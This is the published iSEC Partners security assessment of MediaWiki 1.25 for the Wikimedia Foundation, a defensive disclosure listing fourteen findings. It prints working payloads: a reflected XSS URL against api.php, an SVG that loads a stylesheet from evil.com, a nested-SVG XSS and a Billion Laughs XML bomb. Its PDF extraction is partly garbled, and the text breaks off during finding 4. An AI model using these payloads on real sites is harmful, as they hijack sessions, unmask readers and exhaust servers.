

Prepared for:



Prepared by: Valentin Leon — Security Engineer David Thiel — Security Engineer

Justin Engler — Security Engineer



©2014, iSEC Partners, Inc.

Prepared by iSEC Partners, Inc. for Wikimedia Foundation. Portions of this document and the templates used in its production are the property of iSEC Partners, Inc. and can not be copied without permission.

While precautions have been taken in the preparation of this document, iSEC Partners, Inc, the publisher, and the author(s) assume no responsibility for errors, omissions, or for damages resulting from the use of the information contained herein. Use of iSEC Partners services does not guarantee the security of a system, or that computer intrusions will not occur.

Documen	t Change Log	
Version	Date	Change
0.1	2014-12-26	Status week 1.
1.0	2015-01-02	Release for Wikimedia Foundation.
1.1	2015-02-13	Public release.

Table of Contents

1	Exe	cutive Summary	5
	1.1	iSEC Risk Summary	6
	1.2	Project Summary	7
	1.3	Findings Summary	8
	1.4	Recommendations Summary	9
2	Eng	agement Structure	11
	2.1	Internal and External Teams	11
	2.2	Project Goals and Scope	12
3	Det	ailed Findings	14
	3.1	Classifications	14
	3.2	Vulnerabilities	16
	3.3	Detailed Vulnerability List	17
Aj	open	dices	31
A	Wel	b Application Testing	31
	A.1	SSL/TLS Configuration Testing	31

1 Executive Summary



Application Summary	
Application Name	MediaWiki
Application Version	1.25
Application Type	Web Application
Platform	PHP / Apache / MySQL
Engagement Summary	
Dates	December 22, 2014 – January 2, 2015
Consultants Engaged	Three
Total Engagement Effort	Six person weeks
Engagement Type	Application Penetration Test
Testing Methodology	White Box
Vulnerability Summary	

Total High severity issues	2
Total Medium severity issues	8
Total Low severity issues	2
Total Informational severity issues	2
Total vulnerabilities identified:	14

See section 3.1 on page 14 for descriptions of these classifications.

Category Breakdown:	
Access Controls	0
Auditing and Logging	0
Authentication	0
Configuration	3
Cryptography	0
Data Exposure	2
Data Validation	7
Denial of Service	2
Error Reporting	0
Patching	0
Session Management	0
Timing	0

1.1 iSEC Risk Summary

The iSEC Partners Risk Summary chart evaluates vulnerabilities according to business risk. The impact of the vulnerability increases towards the bottom of the chart. The sophistication required for an attacker to find and exploit the flaw decreases towards the left of the chart. The closer a vulnerability is to the chart origin, the greater the business risk.



1.2 Project Summary

The Open Technology Fund (OTF) engaged iSEC Partners to perform a source-code assisted security review of Wikimedia Foundation MediaWiki. Testing included a web application assessment and an external network audit. Three security consultants performed this review during the weeks of December 22^{nd} and December 29^{th} for a total of six person-weeks of effort. This security analysis was structured as "best effort" within the given time frame.

The primary goal of this engagement was to identify vulnerabilities and gaps in the application stack and code base, specifically focusing on new extensions for the 1.25 release.¹ A secondary objective was to run an external network scan on the Wikimedia Foundation's public range of IPs.

iSEC worked closely with the Wikimedia Foundation (WMF) to perform this test after being introduced by OTF. The WMF helped to make this engagement a success by providing iSEC security engineers with all necessary items at the very beginning of the engagement: a testing environment, source code, and developer documentation. The IP ranges were provided on the second day of the engagement.

MediaWiki is a mature application that evolved through a long history of patches and code rewrites. ² Many contributors helped on the design and implementation of MediaWiki's security. This implies that most of the front-facing attack surfaces have already been reviewed for security flaws, but this also results in a disparate code base, due to the number of code contributors.

Several elements of MediaWiki were considered out-of-scope for this engagement:

- Data exposure of the usernames.
- Data exposure of the page content.
- Network based Denial of Service (DoS).

In terms of coverage, the web application testing was predominately focused on traditional web vulnerabilities such as cross-site request forgery (CSRF), cross-site scripting (XSS), and other types of injections. iSEC security engineers focused their testing on the eight areas of concerns prioritized by the WMF detailed in section 2.2 on page 12.

iSEC leveraged fuzzing techniques in the review of the wikitext parser. Fuzzing of the parser did not identify vulnerabilities during the limited duration of the engagement. Some dangerous PHP functions were also identified in the parser section but none of them appear to be exploitable.

A substantial amount of time was spent reviewing the upload, processing and display of images and files. iSEC used several attack techniques, such as injection and compression, and manually reviewed the source code. The CheckUser extension was reviewed and fonud vulnerable to CSRF. However, iSEC was unable to identify any areas of concern around the visual editor; the request forwarder code was properly implemented and injection attempts into the HTML were all prevented when converting the code into wikitext.

Parallel to the manual testing of the web application, iSEC performed a network assessment of the public IP range of the WMF. The full IPv4 range was scanned for vulnerabilities; because of the size of the IPv6 range provided, only a fraction of it was scanned. Additionally, the DNS configuration was reviewed for vulnerabilities.

iSEC also performed an in-depth review of the remaining extensions (namely, CentralAuth, Flow, Echo and MediaViewer) but no vulnerabilities related to these components were found.

¹https://www.mediawiki.org/wiki/User:CSteipp_(WMF)/ISec_Audit ²http://www.aosabook.org/en/mediawiki.html

1.3 Findings Summary

iSEC identified a total of fourteen issues, including two of high severity. Most of the high and medium severity vulnerabilities are related to data validation and allow for various common attacks including XSS, DoS, and CSRF.

One out of the two high severity vulnerabilities and two medium severity vulnerabilities allow code execution in another user's session. First, a reflected XSS (finding l on page 17) exists in the API when a deprecated output format is requested. This vulnerability was found to work on several browsers and bypasses Google Chrome's anti-XSS filters. Second, iSEC bypassed the SVG file validation filters and successfully uploaded an SVG file that triggers a stored XSS (finding 3 on page 19). Third, the custom JavaScript functionality that allows MediaWiki users to tailor the application to their needs and preferences may be exploited in a social engineering attack to execute arbitrary code within an administrator's session (finding 8 on page 24).

The other high severity vulnerability (finding 2 on page 18 is related to bypassing the SVG validation filters. iSEC uploaded an SVG file that includes external resources from a private domain, allowing for attackers to de-anonymize users rendering the document in their browser. iSEC estimates that it is likely that other attacks are possible on such images, due to their complexity.

iSEC also identified two vulnerabilities that allow for DoS attacks. One instance of them (in finding 4 on page 20) results from the file upload functionality being vulnerable to entity expansion attacks. The second avenue for DoS is due to MediaWiki lacking an upper limit on password length (finding 5 on page 21), which may allow an attacker to exhaust server resources by choosing an extremely long password (*e.g.* 4MB in size).

Lastly, iSEC also discovered a number of lower-impact vulnerabilities, including a CSRF-vulnerable endpoint (finding 12 on page 28), weak password policy (finding 9 on page 25), and a DNS configuration issue (finding 10 on page 26).

1.4 Recommendations Summary

Short Term

Short term recommendations are meant to be relatively easy actions to execute, such as configuration changes or file deletions that resolve security vulnerabilities. These may also include more difficult actions that should be taken immediately to resolve high-risk vulnerabilities. This area is a summary of short term recommendations; additional recommendations can be found in the vulnerabilities section.

Strengthen XSS protection mechanisms. Modify input validation filters to account for all edge cases. Ensure user input is validated against a case-insensitive filter. Additionally, apply proper output encoding to all user driven input that is displayed back to the user.

Implement a data limit on user supplied input. Ensure all user input is limited to context-appropriate maximum size limits. This is especially important in cases where a cryptographic function will be applied to that data.

Provide a click-through warning for potentially dangerous attachments. Some file formats are inherently dangerous for anonymity due to their complexity and large feature-set. Consider adding a click-through warning to make users aware that attachments may compromise their anonymity when viewed directly.

Create a strong password policy. Create and enforce a password policy which requires complex passwords when registering for accounts. Additionally disallow the use of simple passwords by implementing a blacklist of common passwords that cannot be used.

Update server with proper SSL/TLS ciphers. Remove insecure SSL/TLS ciphers from all production environments. Ensure that the server only allows cryptographically strong cipher suites.

Long Term

Long term recommendations are more complex and systematic changes that should be taken to secure the system. These may include significant changes to the architecture or code and may therefore require in-depth planning, complex testing, significant development time, or changes to the user experience that require retraining.

Implement a content security policy (CSP). CSP controls what types of active content (such as JavaScript or applets) and passive content (such as fonts, CSS or images) the browser will allow, based on the how the content is presented and where it is loaded from. A well-configured CSP helps provides additional protection against many XSS attacks. iSEC also recommends MediaWiki to leverage CSP in order to limit passive content like images. This can be configured to prohibit callbacks to third parties on page loads, effectively preventing de-anonymization.

Review and implement SVG best practices. SVG images can accomplish actions similar to HTML, the attack surface is very similar: XML attacks, DOM attacks, XSS. Because MediaWiki is vulnerable to many of these attacks, iSEC recommends Wikimedia Foundation to spend some time reviewing the SVG best practices and implementing appropriate security measures. iSEC published some research³ and a test suite⁴ to help with SVG testing.

Eliminate custom CSS/JavaScript. iSEC found multiple issues with the custom JavaScript system. This system appears to pose significant risk for relatively small benefit. As such, iSEC recommends that Wikimedia Foundation deprecate this functionality and allow users instead to customize their experience on the client side using browser extensions such as Greasemonkey or Tampermonkey.

Authenticate using multiple factors. Combine two of more forms of authentication to verify a user. All users with administrator privileges should be required to authenticate this way. All other users should have the option to opt-in.

Review all server requests for CSRF protection. All site wide, state-changing requests should require a unique, unpredictable token. Additionally, do not allow an extension to make any changes to the wiki without including this token in the request.

Ensure SSL/TLS configurations meet industry best practices. Regularly review the SSL/TLS configuration for all servers. Keep up-to-date with the latest SSL/TLS attacks and weaknesses such that if they are encountered on any Wikimedia Foundation server, they are mitigated immediately.

³http://ciphertext.info/papers/SVG_Security-OpenForum.pdf ⁴https://github.com/rdegraaf/SVG_Security_Test_Suite

2 Engagement Structure

2.1 Internal and External Teams

The iSEC team has the following primary members:

- Valentin Leon Security Engineer valentin@isecpartners.com
- David Thiel Security Engineer david@isecpartners.com
- Justin Engler Security Engineer justin@isecpartners.com
- Michael Reisinger Project Manager mreisinger@isecpartners.com
- Tom Ritter Account Manager tritter@isecpartners.com

The Wikimedia Foundation team has the following primary members:

 Chris Steipp — Wikimedia Foundation csteipp@wikimedia.org

iSEC would like to thank the following Security Engineers for their help:

- Adam Cotenoff
- Damon Smith
- Daniel Crowley
- Divya Natesan
- Greg Foringer
- Pratik Guha Sarkar

2.2 **Project Goals and Scope**

The goal of this engagement was to determine what actions a malicious user of MediaWiki would be able to perform that could lead to the compromise of user sessions or bypass of security restrictions.

Priority List: On top of a regular web application security review, iSEC focused on the following list of components, prioritized by Wikimedia Foundation.⁵

- The wikitext to HTML parser.
- The upload, processing and display of images and files.
- The VisualEditor extension.
- The CentralAuth extension.
- The CheckUser extension.
- The MediaViewer extension.
- The Echo extension.
- The Flow extension.
- An IPv4 and IPv6 scan of the public network ranges of the Wikimedia Foundation.

Web Application Security Testing: iSEC performed a targeted web application review.

- Application Abuse/Logic Testing: Public, internal tools, and manual techniques were used to determine whether attackers can:
 - Obtain access to private data belonging to other users or subscribers.
 - Make unauthorized changes to system or customer data.
 - Bypass business logic rules around account changes.
 - Bypass authentication and authorization mechanisms.
 - Elevate privileges to site administrator or other higher-privileged users.
 - Hijack accounts belonging to other users.
 - Abuse password recovery methods.
- Standard Web Application Security Testing: The security testing evaluated the application for standard and advanced application web security issues, including:
 - Cross-site scripting (XSS).
 - Cross-site request forgery (CSRF).
 - Command injection (SQL, LDAP, and OS command injection).
 - Server-side includes (SSI) injection.
 - Common weaknesses in session management (authentication and authorization) including:
 - Improper token invalidation.
 - Predictable session tokens.

⁵https://www.mediawiki.org/wiki/User:CSteipp_(WMF)/ISec_Audit

- $\circ~$ Insufficient protection against session fixation.
- Cookie injection attacks.
- XML injection attacks.
- Attacks against the HTTP application server, including:
 - Insecure configuration.
 - Processing of unsafe HTTP verbs.
 - Response splitting.
 - Directory traversal.
 - Forced browsing.
- Information leaks.
- Transport layer security weaknesses, including:
 - Weak cipher suite configuration.
 - Insufficient protection of sensitive information in transit.
- Source Code Security Review: iSEC reviewed the source code to analyze the application's security protections and focused on proper implementation of:
 - Cross-site request forgery (CSRF) protection mechanisms.
 - Data validation mechanisms.
 - Output encoding mechanisms.
 - Database calls and queries (usage and implementation).
 - Session creation (session generation and session token randomness).
 - Authentication and access control mechanisms and frameworks.
 - Cryptographic protections.

3 Detailed Findings

3.1 Classifications

The following section describes the classes, severities, and exploitation difficulty rating assigned to each issue that iSEC identified.

Vulnerability Classes	
Class	Description
Access Controls	Related to authorization of users, and assessment of rights
Auditing and Logging	Related to auditing of actions, or logging of problems
Authentication	Related to the identification of users
Configuration	Related to security configurations of servers, devices, or software
Cryptography	Related to mathematical protections for data
Data Exposure	Related to unintended exposure of sensitive information
Data Validation	Related to improper reliance on the structure or values of data
Denial of Service	Related to causing system failure
Error Reporting	Related to the reporting of error conditions in a secure fashion
Patching	Related to keeping software up to date
Session Management	Related to the identification of authenticated users
Timing	Related to the race conditions, locking, or order of operations
Severity Categories	
Severity	Description
Informational	The issue does not pose an immediate risk, but is relevant to secu- rity best practices or Defense in Depth
Informational Undetermined	The issue does not pose an immediate risk, but is relevant to secu- rity best practices or Defense in Depth The extent of the risk was not determined during this engagement
Informational Undetermined Low	The issue does not pose an immediate risk, but is relevant to security best practices or Defense in Depth The extent of the risk was not determined during this engagement The risk is relatively small, or is not a risk the customer has indicated is important
Informational Undetermined Low Medium	The issue does not pose an immediate risk, but is relevant to security best practices or Defense in DepthThe extent of the risk was not determined during this engagementThe risk is relatively small, or is not a risk the customer has indicated is importantIndividual user's information is at risk, exploitation would be bad for client's reputation, of moderate financial impact, possible legal implications for client

Difficulty Levels	
Difficulty	Description
Undetermined	The difficulty of exploit was not determined during this engagement
Low	Commonly exploited, public tools exist or can be scripted that exploit this flaw
Medium	Attackers must write an exploit, or need an in depth knowledge of a complex system
High	The attacker must have privileged insider access to the system, may need to know extremely complex technical details or must discover other weaknesses in order to exploit this issue

3.2 Vulnerabilities

The following table is a summary of vulnerabilities identified by iSEC. Subsequent pages of this report detail each of the vulnerabilities, along with short and long term remediation advice.

Vulnerability	Class	Severity
1. Reflected XSS in api.php	Data Validation	High
2. External reference in SVG	Data Validation	High
3. Stored XSS in uploaded SVG files	Data Validation	Medium
4. Entity expansion in SVG and XMP Metadata	Denial of Service	Medium
5. Lack of upper limit on password length allows DoS	Denial of Service	Medium
6. External reference in PDF	Data Validation	Medium
7. Stored XSS in PDF files	Data Validation	Medium
8. Custom JavaScript may yield privilege escalation	Data Validation	Medium
9. Weak password policy	Configuration	Medium
10. Lack of registry lock on domain names	Configuration	Medium
11. Users can inspect each other's personal JavaScript	Data Exposure	Low
12. Check User page lacks Cross Site Request Forgery (CSRF) protection	Data Validation	Low
B. User access roles are public	Data Exposure	Informationa
14. RC4 cipher enabled	Configuration	Informationa

3.3 Detailed Vulnerability List

I. Reflected XSS in api.php		
Class: Data Validation	Severity: High	Difficulty: Low

FINDING ID: iSEC-WMF1214-8

TARGETS: The API endpoint, available at http://devwiki/w/api.php.

DESCRIPTION: The API supports multiple data output formats, some of which have recently been deprecated. The wddx output format will return a response with Content-Type: text/xml. The response always indicates that the wddx output format has been deprecated and instructs the API user to use the json format instead. However, if an API request with this output format is sent to api.php with an invalid parameter, the response will also include an error message that reflects the user-supplied parameter without any output encoding. This allows an attacker to inject XML, which can be used to trick the browser into interpreting the response as XHTML and executing injected JavaScript. To exploit this vulnerability, an attacker can craft a simple URL that, when clicked by a MediaWiki user, will execute arbitrary JavaScript in their browser session for that domain. The following URL will execute JavaScript that pops up an alert window on the resulting MediaWiki page, demonstrating a reflected XSS attack.

http://devwiki/w/api.php?action=flow&format=wddx&submodule=invalid%3C/string%3E%3Cfoo%3E%0A%3Ch
tml%20xmlns%3ahtml%3d%27http%3a%2f%2fwww.w3.org%2f1999%2fxhtml%27%3E%0A%20%3Chtml%3ascript%3Ea
lert(%22Reflected%20XSS!%22)%3b%3C%2fhtml%3ascript%3E%0A%3C%2fhtml%3E%0A%3C%2ffoo%3E%3Cstring%3
E&page=User_talk%3AAdmin&ntreplyTo=&nttopic=Flow&ntcontent=flowwww&token=3b44a9711080c52414b4
d1f05682590554a1ead0%2B

This exploit works on several browsers that iSEC tested and bypasses Chrome's anti-XSS filters, making it especially effective.

EXPLOIT SCENARIO: An attacker crafts a malicious link with JavaScript that attempts to assign administrative rights to their own user account. They insert the link on a MediaWiki page and wait for an active administrator with the appropriate privileges to click it. When the administrator clicks the link, the JavaScript is reflected in the response, which results in the administrator's browser silently sending a request to grant administrator privilege to the attacker's MediaWiki account. The attacker then uses this unauthorized privileged access to inspect user IP addresses or destroy content.

SHORT TERM SOLUTION: In this case, because the wddx format is deprecated, no user-supplied data needs to be reflected in the response at all. If there is a specific need to display this error data, including the user-supplied parameters, apply the same output encoding that is used when the xml output format is requested. Review the code for similar issues where output-encoding has not been applied to a response.

LONG TERM SOLUTION: Implement security regression tests that ensure that appropriate output encoding occurs for all user-supplied data. Implement a content security policy (CSP). CSP is an HTTP header that can control what types of active content (such as JavaScript, applets, and CSS) the browser will allow, based on how the content is presented. An optimally configured CSP policy will never allow browsers to execute inline JavaScript, eval statements, or scripts in DOM event attributes. This requires that all JavaScript is loaded explicitly from external sources with whitelisted URLs. However, if inline scripts and event attributes are required in the meantime, the CSP header can by used to transmit a nonce value with each source in the whitelist. This nonce must then be included as a script attribute and checked by the server. This helps prevent XSS attacks. The CSP specification can be found at https://w3c.github.io/webappsec/specs/content-security-policy/#usage-4.

2. External reference in SV

Class: Data Validation

Severity: High

Difficulty: Low

FINDING ID: iSEC-WMF1214-3

TARGETS: The upload feature, available at http://devwiki/wiki/Special:Upload.

DESCRIPTION: When uploading an SVG file, it is possible to bypass the validation filters and upload an SVG file that references a remote CSS file. The validation routines that prevent inclusion of remote CSS files perform checks in a case-sensitive manner and fails to block imporT and other case-variations. For example, the following style declaration within an SVG file will cause any browser that renders the file to fetch http://evil.com/attack.css:

```
<svg xmlns="http://www.w3.org/2000/svg">
<style>@imporT'http://evil.com/attack.css';</style>
</svg>
```

Listing 1: Specially-crafted SVG file including a remote style sheet.

This vulnerability can be exploited to de-anonymize MediaWiki's readers. This can be used by malicious individuals or governments who will be able to identify the reader's location from their IP address, as well as the visited page from the referrer header.

EXPLOIT SCENARIO: A MediaWiki user uploads a hostile SVG file that references a style sheet on an attacker-controlled webserver. The user then embeds this SVG file into the content of an article. By monitoring users that request the style sheet, the attacker can build a complete list of users that have viewed the article in question.

SHORT TERM SOLUTION: Modify the regular expressions for validating SVG file uploads to block the *import* keyword in a case-insensitive manner.

LONG TERM SOLUTION: Examine all other validation expressions to ensure that case sensitivity is handled in a context-appropriate manner. Implement a CSP in order to limit passive content like images. This can be configured to prohibit callbacks to third parties on page loads, effectively preventing deanonymization.

3. Stored XSS in up	ploaded SVG file
---------------------	------------------

Class: Data Validation

Severity: Medium

Difficulty: Low

FINDING ID: iSEC-WMF1214-11

TARGETS: The upload feature, available at http://devwiki/wiki/Special:Upload.

DESCRIPTION: When uploading an SVG file, it is possible to bypass the validation filters and upload an SVG file that executes JavaScript when rendered. The SVG validation is a blacklist-based approach and contains protections against numerous techniques for embedding JavaScript in SVG files; however, the protections against nested SVG files are inadequate due to a missing MIME type blacklist. Specifically, data: URIs with the image/svg or text/xml formats are blacklisted, but the application/xml MIME type is sufficient to create a nested SVG file with JavaScript code.

```
# /includes/upload/UploadBase.php
# href with embedded svg as target
if ($stripped == 'href' && preg_match( '!data:[^,]*image/svg[^,]*,!sim', $value)){
  wfDebug( __METHOD__ . ": Found href to embedded svg "
  . "\"<$strippedElement '$attrib'='$value'...\" in uploaded file.\n" );
  return true;}
# href with embedded (text/xml) svg as target
if ( $stripped == 'href' && preg_match( '!data:[^,]*text/xml[^,]*,!sim', $value)){
  wfDebug( __METHOD__ . ": Found href to embedded svg "
  . "\"<$strippedElement '$attrib'='$value'...\" in uploaded file.\n" );
  return true;}
```

Listing 2: Blacklist filtering for data: URIs with specific MIME types.

The following example SVG file contains a nested SVG file embedded within a data: URI. The nested SVG file contains executable JavaScript.

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64,
        PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5r
PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9I
jUwIiBjeD0iMTAwIiBjeT0iMTAwIiBzdHlsZT0iZmlsbDogI0YwMCI+CjxzZXQgYXR0cmlidXR1Tm
FtZT0iZmlsbCIgYXR0cmlidXRlVHlwZT0iQ1NTIiBvbmJlZ2luPSdhbGVydChkb2N1bWVudC5jb29r
aWUpJwpvbmVuZD0nYWxlcnQ0Im9uZW5kIiknIHRvPSIjMDBGIiBiZWdpbj0iMXMiIGR1cj0iNXMiIC
8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>
```

Listing 3: SVG file with a nested SVG file containing executable JavaScript code.

During testing, this exploit was only confirmed against the Firefox browser. Testing indicates that other browsers do not support nested SVG files.

JavaScript in SVG files is evaluated in its own sandbox origin; it should not have access to cookies or other data from the wiki domain context.

EXPLOIT SCENARIO: An attacker crafts a malicious SVG document that contains canned JavaScript exploit code and uploads it to a popular section on the MediaWiki application. When the SVG file is viewed, the victim's browser is fingerprinted and instructed to download appropriate exploit code from an attacker-controlled server. The attacker is able to compromise users who view the hostile SVG file, and the attacker can expand their impact by hijacking the privileges of the victim users.

SHORT TERM SOLUTION: Modify the SVG validation blacklist filters to include the application/xml MIME type. Verify that no other MIME types can be used to embed nested SVG files.

LONG TERM SOLUTION: Transition the SVG validation logic to a whitelist-based approach.

4. Entity expansion in SVG and XMP Metadata					
Class: Denial of Service	Severity: Medium	Difficulty: Low			

TARGETS: The XML parser of the upload feature, available at http://devwiki/wiki/Special:Upload.

DESCRIPTION: When uploading an SVG file, or any file that includes XMP metadata, it is possible to include XML Doctype Declarations that trigger an XML entity expansion attack against the XML parser when the uploaded file is processed. This attack uses a series of expanding XML entities that, when fully expanded, can consume a large amount of memory. This causes the XML parser to consume all available resources on the system, leaving the webserver unresponsive.

The *Billion Laughs*⁶ attack is an example of such attack, which results in approximately 3GB of data to be processed. An example of a file that exploits this vulnerability is below:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE svg [
         <!ENTITY lol "lol">
         <!ELEMENT lolz (#PCDATA)>
           <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;</pre>
           <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;</pre>
           <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol
           <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol
           <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;
         <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;
